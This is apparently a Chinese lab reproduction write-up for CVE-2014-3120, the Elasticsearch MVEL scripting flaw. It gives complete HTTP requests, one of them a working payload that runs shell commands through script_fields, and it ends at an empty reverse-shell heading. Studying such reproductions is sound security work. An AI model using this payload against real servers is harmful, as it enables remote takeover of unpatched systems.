CVE-2014-3120

漏洞描述：这个漏洞实际上非常简单，ElasticSearch有脚本执行(scripting)的功能，可以很方便地对查询出来的数据再加工处理。

ElasticSearch用的脚本引擎是MVEL，这个引擎没有做任何的防护，或者沙盒包装，所以直接可以执行任意代码。

而在ElasticSearch里，默认配置是打开动态脚本功能的，因此用户可以直接通过http请求，执行任意代码。

影响版本：Elasticsearch < 1.2

参考资料

• https://github.com/fofapro/vulfocus/blob/master/writeup/CVE-2014-3120/CVE-2014-3120.md
• https://blog.csdn.net/hengyunabc/article/details/26643813
• https://www.freebuf.com/vuls/268532.html

漏洞复现

• 添加一条数据

POST /website/blog/ HTTP/1.1

Host: 123.58.224.8:46858

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

Content-Length: 26



{

  "name": "vulfocus"

}

• 返回201，创建成功
• 执行命令

POST /_search?pretty HTTP/1.1

Host: 118.193.36.37:33967

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

Content-Length: 361



{

    "size": 1,

    "query": {

      "filtered": {

        "query": {

          "match_all": {

          }

        }

      }

    },

    "script_fields": {

        "command": {

            "script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"ls /tmp\").getInputStream()).useDelimiter(\"\\\\A\").next();"

        }

    }

}

反弹shell